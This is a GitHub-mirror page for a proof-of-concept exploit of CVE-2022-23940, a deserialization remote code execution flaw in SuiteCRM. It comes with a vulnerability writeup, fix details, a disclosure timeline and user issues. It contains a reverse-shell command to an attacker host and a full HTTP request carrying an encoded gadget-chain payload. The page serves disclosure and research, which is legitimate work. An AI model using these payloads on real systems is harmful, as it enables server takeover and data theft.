Code Monkey home page Code Monkey logo

cve-2022-23940's Introduction

CVE-2022-23940

PoC for CVE-2022-23940 aka SCRMBT-#187 - Authenticated Remote Code Execution through Scheduled Reports in SuiteCRM (<= 7.12.4) and SuiteCRM-Core (<= 8.0.3).

This vulnerability was reported to SalesAgility and fixed in SuiteCRM 7.12.5 and SuiteCRM Core 8.0.4. In affected versions, any user with permission to create Scheduled Reports can obtain remote code execution and compromise the server. If you are using older versions of SuiteCRM, I highly advise you to update.

Usage

Installation

  1. Make sure to have a recent version of python3 and pip installed.
  2. Clone the repo: git clone https://github.com/manuelz120/CVE-2022-23940.git
  3. Install the required libraries pip3 install -r "requirements.txt"
  4. Enjoy :)

Available options:

(.venv) ➜  CVE-2022-23940 git:(main) ✗ ./exploit.py --help
Usage: exploit.py [OPTIONS]

Options:
  -h, --host TEXT        Root of SuiteCRM installation. Defaults to
                         http://localhost
  -u, --username TEXT    Username
  -p, --password TEXT    password
  -P, --payload TEXT     Shell command to be executed on target system
  -d, --is_core BOOLEAN  SuiteCRM Core (>= 8.0.0). Defaults to False
  --help                 Show this message and exit.

  https://github.com/manuelz120/CVE-2022-23940

Example usage:

asciicast

# Spawning a PHP Reverse shell to attacker-host on port 4444
./exploit.py -u user -p redacted --payload "php -r '\$sock=fsockopen(\"attacker-host\", 4444); exec(\"/bin/sh -i <&3 >&3 2>&3\");'"

Writeup

Users who are able to create Scheduled Reports (can create entries in the AOR_Scheduled_Reports module) can execute arbitrary code on the server by abusing a PHP deserialization vulnerability.

The AOR_Scheduled_Reports module stores the email recipients of the report as serialized, base64 encoded strings in the database. When receiving the data for a scheduled report, the mentioned column gets deserialized. If attackers are able to insert arbitrary content into this column, they can achieve RCE through various PHP deserialization gadgets (in my tests I used the Monolog/RCE2 from the phpggc tool).

The payload can be stored in the database using the legacy save call of the AOR_Scheduled_Reports module. The server incorrectly assumes that the email_recipients parameter is always an array. However, if a malicous client just passes the email_recipients as a string, the data will be stored in the database as it is. Once deserialized, the gadgets are executed on the server and we obtain remote code execution.

The vulnerable implementation of the save function in the AOR_Scheduled_Reports class. Further down, we can see that the get_email_recipients calls unserialize on the content that is stored in the database:

// SuiteCRM-Core/public/legacy/modules/AOR_Scheduled_Reports/AOR_Scheduled_Reports.php

public function save($check_notify = false)
{
    if (isset($_POST['email_recipients']) && is_array($_POST['email_recipients'])) {
        $this->email_recipients = base64_encode(serialize($_POST['email_recipients']));
    }

    return parent::save($check_notify);
}

public function get_email_recipients()
{
    $params = unserialize(base64_decode($this->email_recipients));
    // ....

An example request to create such a malicious scheduled report looks like this (if you decode the value for email_recipients, you can see that it simply executes touch /tmp/hacked):

POST /index.php HTTP/1.1
Host: localhost
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Referer: http://localhost
content-type: application/x-www-form-urlencoded
Cookie: PHPSESSID=e7alkhdo7lrknc8a7l6v2rpanr; sugar_user_theme=SuiteP
Content-Length: 999

module=AOR_Scheduled_Reports&action=Save&name=test&status=active&schedule_type=monthly&email_recipients=YToyOntpOjc7TzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO047czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoxNzoidG91Y2ggL3RtcC9oYWNrZWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoxNzoidG91Y2ggL3RtcC9oYWNrZWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319fWk6NztpOjc7fQ%3D%3D%0A

Implemented fix

If we look at the fixed code, we can see that the developers added a new parseRecipients function which parses and validates the data stored in the email_recipients parameter, before saving it into the database. Only if the value match the expected format the data gets stored. Therefore, the Deserialization RCE doesn't work anymore:

https://github.com/salesagility/SuiteCRM-Core/commit/63b969478d812d5ed937bf54fe5b174232e91a00#diff-0c100713e7e6c2c4c068cb4fe88342c6b0166cfcf06f57589120853a3f2ad2f2R205-R221

fixed code

Timeline

  • 24/01/2022: Vulnerability discovered and reported to SuiteCRM
  • 25/01/2022: Vulnerability confirmed by vendor (SalesAgility)
  • 02/03/2022: Release of fixed versions (SuiteCRM 7.12.5 and SuiteCRM Core 8.0.4)

Credits

cve-2022-23940's People

Contributors

manuelz120 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

cve-2022-23940's Issues

Not Working exploit

I trying test exploit on suitecrm 7.11.8 with php7.3, but it's not working.
I see 2 problems:

  1. is_array check fails
  2. The data is serialized as a string and deserialized accordingly.

Docker SuiteCRM PostInstallation TimeOut Error

Description

I tried to build up this environment by docker compose , but I encounter the postInstallation errors below. Any assistance which you might be able to provide with the below issues is much appreciated. Thanks!

Describe the results you received:
When I execute the command

sudo docker-compose up

It seemed to stuck in the line for more than 10 minutes

suitecrm_1  | suitecr INFO  ==> Installing suitecrm. It
could take some minutes...

After a few minutes, it shows the error message

Error executing 'postInstallation': Timeout: did not get to load all resources on this page
vulnerable_suitecrm_1 exited with code 1

here is the whole output

Attaching to vulnerable_mariadb_1, vulnerable_suitecrm_1
suitecrm_1  | 
suitecrm_1  | Welcome to the Bitnami suitecrm container
suitecrm_1  | Subscribe to project updates by watching https://github.com/bitnami/bitnami-docker-suitecrm
suitecrm_1  | Submit issues and feature requests at https://github.com/bitnami/bitnami-docker-suitecrm/issues
suitecrm_1  | 
suitecrm_1  | WARN  ==> You set the environment variable ALLOW_EMPTY_PASSWORD=yes. For safety reasons, do not use this flag in a production environment.
mariadb_1   | mariadb 08:27:22.44 
mariadb_1   | mariadb 08:27:22.45 Welcome to the Bitnami mariadb container
mariadb_1   | mariadb 08:27:22.45 Subscribe to project updates by watching https://github.com/bitnami/bitnami-docker-mariadb
mariadb_1   | mariadb 08:27:22.45 Submit issues and feature requests at https://github.com/bitnami/bitnami-docker-mariadb/issues
mariadb_1   | mariadb 08:27:22.45 
mariadb_1   | mariadb 08:27:22.46 INFO  ==> ** Starting MariaDB setup **
mariadb_1   | mariadb 08:27:22.48 INFO  ==> Validating settings in MYSQL_*/MARIADB_* env vars
mariadb_1   | mariadb 08:27:22.49 WARN  ==> You set the environment variable ALLOW_EMPTY_PASSWORD=yes. For safety reasons, do not use this flag in a production environment.
mariadb_1   | mariadb 08:27:22.49 INFO  ==> Initializing mariadb database
mariadb_1   | mariadb 08:27:22.51 INFO  ==> Updating 'my.cnf' with custom configuration
mariadb_1   | mariadb 08:27:22.52 INFO  ==> Setting user option
mariadb_1   | mariadb 08:27:23.24 INFO  ==> Setting slow_query_log option
mariadb_1   | mariadb 08:27:23.47 INFO  ==> Setting long_query_time option
mariadb_1   | mariadb 08:27:23.74 INFO  ==> Installing database
mariadb_1   | mariadb 08:27:54.10 INFO  ==> Starting mariadb in background
mariadb_1   | 2022-05-19  8:27:54 0 [Note] InnoDB: Using Linux native AIO
mariadb_1   | 2022-05-19  8:27:54 0 [Note] InnoDB: Mutexes and rw_locks use GCC atomic builtins
mariadb_1   | 2022-05-19  8:27:54 0 [Note] InnoDB: Uses event mutexes
mariadb_1   | 2022-05-19  8:27:54 0 [Note] InnoDB: Compressed tables use zlib 1.2.11
mariadb_1   | 2022-05-19  8:27:54 0 [Note] InnoDB: Number of pools: 1
mariadb_1   | 2022-05-19  8:27:54 0 [Note] InnoDB: Using SSE2 crc32 instructions
mariadb_1   | 2022-05-19  8:27:54 0 [Note] InnoDB: Initializing buffer pool, total size = 128M, instances = 1, chunk size = 128M
mariadb_1   | 2022-05-19  8:27:54 0 [Note] InnoDB: Completed initialization of buffer pool
mariadb_1   | 2022-05-19  8:27:54 0 [Note] InnoDB: If the mysqld execution user is authorized, page cleaner thread priority can be changed. See the man page of setpriority().
mariadb_1   | 2022-05-19  8:27:55 0 [Note] InnoDB: 128 out of 128 rollback segments are active.
mariadb_1   | 2022-05-19  8:27:55 0 [Note] InnoDB: Creating shared tablespace for temporary tables
mariadb_1   | 2022-05-19  8:27:55 0 [Note] InnoDB: Setting file './ibtmp1' size to 12 MB. Physically writing the file full; Please wait ...
mariadb_1   | 2022-05-19  8:27:55 0 [Note] InnoDB: File './ibtmp1' size is now 12 MB.
mariadb_1   | 2022-05-19  8:27:55 0 [Note] InnoDB: Waiting for purge to start
mariadb_1   | 2022-05-19  8:27:55 0 [Note] InnoDB: 10.3.34 started; log sequence number 1625713; transaction id 20
mariadb_1   | 2022-05-19  8:27:55 0 [Note] InnoDB: Loading buffer pool(s) from /bitnami/mariadb/data/ib_buffer_pool
mariadb_1   | 2022-05-19  8:27:55 0 [Note] InnoDB: Buffer pool(s) load completed at 220519  8:27:55
mariadb_1   | 2022-05-19  8:27:55 0 [Note] Plugin 'FEEDBACK' is disabled.
mariadb_1   | 2022-05-19  8:27:55 0 [Note] Server socket created on IP: '127.0.0.1'.
mariadb_1   | 2022-05-19  8:27:55 0 [Warning] 'user' entry 'root@4f80f6dd8e2f' ignored in --skip-name-resolve mode.
mariadb_1   | 2022-05-19  8:27:55 0 [Warning] 'user' entry '@4f80f6dd8e2f' ignored in --skip-name-resolve mode.
mariadb_1   | 2022-05-19  8:27:55 0 [Warning] 'proxies_priv' entry '@% root@4f80f6dd8e2f' ignored in --skip-name-resolve mode.
mariadb_1   | 2022-05-19  8:27:55 0 [Note] Reading of all Master_info entries succeeded
mariadb_1   | 2022-05-19  8:27:55 0 [Note] Added new Master_info '' to hash table
mariadb_1   | 2022-05-19  8:27:55 0 [Note] /opt/bitnami/mariadb/sbin/mysqld: ready for connections.
mariadb_1   | Version: '10.3.34-MariaDB'  socket: '/opt/bitnami/mariadb/tmp/mysql.sock'  port: 3306  Source distribution
mariadb_1   | mariadb 08:27:56.28 INFO  ==> Configuring authentication
mariadb_1   | 2022-05-19  8:27:56 10 [Warning] 'proxies_priv' entry '@% root@4f80f6dd8e2f' ignored in --skip-name-resolve mode.
mariadb_1   | mariadb 08:27:56.46 INFO  ==> Running mysql_upgrade
mariadb_1   | 2022-05-19  8:28:08 27 [Warning] 'proxies_priv' entry '@% root@4f80f6dd8e2f' ignored in --skip-name-resolve mode.
mariadb_1   | find: '/docker-entrypoint-startdb.d/': No such file or directory
mariadb_1   | mariadb 08:28:08.43 INFO  ==> Stopping mariadb
mariadb_1   | 2022-05-19  8:28:08 0 [Note] /opt/bitnami/mariadb/sbin/mysqld (initiated by: unknown): Normal shutdown
mariadb_1   | 2022-05-19  8:28:08 0 [Note] InnoDB: FTS optimize thread exiting.
mariadb_1   | 2022-05-19  8:28:08 0 [Note] Event Scheduler: Purging the queue. 0 events
mariadb_1   | 2022-05-19  8:28:09 0 [Note] InnoDB: Starting shutdown...
mariadb_1   | 2022-05-19  8:28:09 0 [Note] InnoDB: Dumping buffer pool(s) to /bitnami/mariadb/data/ib_buffer_pool
mariadb_1   | 2022-05-19  8:28:09 0 [Note] InnoDB: Buffer pool(s) dump completed at 220519  8:28:09
mariadb_1   | 2022-05-19  8:28:10 0 [Note] InnoDB: Removed temporary tablespace data file: "ibtmp1"
mariadb_1   | 2022-05-19  8:28:11 0 [Note] InnoDB: Shutdown completed; log sequence number 1625722; transaction id 25
mariadb_1   | 2022-05-19  8:28:11 0 [Note] /opt/bitnami/mariadb/sbin/mysqld: Shutdown complete
mariadb_1   | 
mariadb_1   | 
mariadb_1   | mariadb 08:28:11.56 INFO  ==> ** MariaDB setup finished! **
mariadb_1   | mariadb 08:28:11.74 INFO  ==> ** Starting MariaDB **
mariadb_1   | 2022-05-19  8:28:12 0 [Note] /opt/bitnami/mariadb/sbin/mysqld (mysqld 10.3.34-MariaDB) starting as process 1 ...
mariadb_1   | 2022-05-19  8:28:12 0 [Note] InnoDB: Using Linux native AIO
mariadb_1   | 2022-05-19  8:28:12 0 [Note] InnoDB: Mutexes and rw_locks use GCC atomic builtins
mariadb_1   | 2022-05-19  8:28:12 0 [Note] InnoDB: Uses event mutexes
mariadb_1   | 2022-05-19  8:28:12 0 [Note] InnoDB: Compressed tables use zlib 1.2.11
mariadb_1   | 2022-05-19  8:28:12 0 [Note] InnoDB: Number of pools: 1
mariadb_1   | 2022-05-19  8:28:12 0 [Note] InnoDB: Using SSE2 crc32 instructions
mariadb_1   | 2022-05-19  8:28:12 0 [Note] InnoDB: Initializing buffer pool, total size = 128M, instances = 1, chunk size = 128M
mariadb_1   | 2022-05-19  8:28:12 0 [Note] InnoDB: Completed initialization of buffer pool
mariadb_1   | 2022-05-19  8:28:12 0 [Note] InnoDB: If the mysqld execution user is authorized, page cleaner thread priority can be changed. See the man page of setpriority().
mariadb_1   | 2022-05-19  8:28:12 0 [Note] InnoDB: 128 out of 128 rollback segments are active.
mariadb_1   | 2022-05-19  8:28:12 0 [Note] InnoDB: Creating shared tablespace for temporary tables
mariadb_1   | 2022-05-19  8:28:12 0 [Note] InnoDB: Setting file './ibtmp1' size to 12 MB. Physically writing the file full; Please wait ...
mariadb_1   | 2022-05-19  8:28:12 0 [Note] InnoDB: File './ibtmp1' size is now 12 MB.
mariadb_1   | 2022-05-19  8:28:12 0 [Note] InnoDB: Waiting for purge to start
mariadb_1   | 2022-05-19  8:28:12 0 [Note] InnoDB: 10.3.34 started; log sequence number 1625722; transaction id 20
mariadb_1   | 2022-05-19  8:28:12 0 [Note] InnoDB: Loading buffer pool(s) from /bitnami/mariadb/data/ib_buffer_pool
mariadb_1   | 2022-05-19  8:28:12 0 [Note] InnoDB: Buffer pool(s) load completed at 220519  8:28:12
mariadb_1   | 2022-05-19  8:28:13 0 [Note] Plugin 'FEEDBACK' is disabled.
mariadb_1   | 2022-05-19  8:28:13 0 [Note] Server socket created on IP: '0.0.0.0'.
mariadb_1   | 2022-05-19  8:28:13 0 [Warning] 'proxies_priv' entry '@% root@4f80f6dd8e2f' ignored in --skip-name-resolve mode.
mariadb_1   | 2022-05-19  8:28:14 0 [Note] Reading of all Master_info entries succeeded
mariadb_1   | 2022-05-19  8:28:14 0 [Note] Added new Master_info '' to hash table
mariadb_1   | 2022-05-19  8:28:14 0 [Note] /opt/bitnami/mariadb/sbin/mysqld: ready for connections.
mariadb_1   | Version: '10.3.34-MariaDB'  socket: '/opt/bitnami/mariadb/tmp/mysql.sock'  port: 3306  Source distribution
suitecrm_1  | suitecr INFO  ==> Configuring Database...
suitecrm_1  | mysql-c INFO  Trying to connect to MySQL server
suitecrm_1  | mysql-c INFO  Found MySQL server listening at mariadb:3306
suitecrm_1  | mysql-c INFO  MySQL server listening and working at mariadb:3306
suitecrm_1  | suitecr INFO  ==> Configuring silent installation
suitecrm_1  | suitecr INFO  ==> Installing suitecrm. It could take some minutes...
suitecrm_1  | Error executing 'postInstallation': Timeout: did not get to load all resources on this page
vulnerable_suitecrm_1 exited with code 1


Additional information you deem important (e.g. issue happens only occasionally):

Version

  • Output of sudo docker version
Client:
 Version:           20.10.14+dfsg1
 API version:       1.41
 Go version:        go1.18.1
 Git commit:        a224086
 Built:             Sun May  1 19:59:40 2022
 OS/Arch:           linux/amd64
 Context:           default
 Experimental:      true

Server:
 Engine:
  Version:          20.10.14+dfsg1
  API version:      1.41 (minimum version 1.12)
  Go version:       go1.18.1
  Git commit:       87a90dc
  Built:            Sun May  1 19:59:40 2022
  OS/Arch:          linux/amd64
  Experimental:     false
 containerd:
  Version:          1.6.2~ds1
  GitCommit:        1.6.2~ds1-1+b1
 runc:
  Version:          1.1.1+ds1
  GitCommit:        1.1.1+ds1-1+b1
 docker-init:
  Version:          0.19.0
  GitCommit:       
  • Output of sudo docker info
Client:
 Context:    default
 Debug Mode: false

Server:
 Containers: 2
  Running: 2
  Paused: 0
  Stopped: 0
 Images: 3
 Server Version: 20.10.14+dfsg1
 Storage Driver: overlay2
  Backing Filesystem: extfs
  Supports d_type: true
  Native Overlay Diff: true
  userxattr: false
 Logging Driver: json-file
 Cgroup Driver: systemd
 Cgroup Version: 2
 Plugins:
  Volume: local
  Network: bridge host ipvlan macvlan null overlay
  Log: awslogs fluentd gcplogs gelf journald json-file local logentries splunk syslog
 Swarm: inactive
 Runtimes: io.containerd.runtime.v1.linux runc io.containerd.runc.v2
 Default Runtime: runc
 Init Binary: docker-init
 containerd version: 1.6.2~ds1-1+b1
 runc version: 1.1.1+ds1-1+b1
 init version: 
 Security Options:
  apparmor
  seccomp
   Profile: default
  cgroupns
 Kernel Version: 5.16.0-kali7-amd64
 Operating System: Kali GNU/Linux Rolling
 OSType: linux
 Architecture: x86_64
 CPUs: 2
 Total Memory: 1.935GiB
 Name: kali
 ID: 252K:I2MD:ICMJ:PLKL:T34E:5L6A:DTNK:N2TU:OKH7:UK5H:UD2N:4MEX
 Docker Root Dir: /var/lib/docker
 Debug Mode: false
 Registry: https://index.docker.io/v1/
 Labels:
 Experimental: false
 Insecure Registries:
  127.0.0.0/8
 Live Restore Enabled: false

Additional environment details (AWS, VirtualBox, Docker for MAC, physical, etc.):
I have tried on both Ubuntu and Kali

  • Ubuntu Desktop 20.04 LTS
  • Kali (in Virtualbox)

Additional things I tried:
[Reference] https://github.com/bitnami/bitnami-docker-suitecrm/issues/58

  • I tried adding this environment parameter in docker-compose.yml
    SUITECRM_HTTP_TIMEOUT=1200
    but it didn't work.

  • Also tried cleaning docker by removing exited containers and pruning those volumes. No luck yet.:
    sudo docker rm $(sudo docker ps -a -f status=exited -q)
    sudo docker volume prune

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.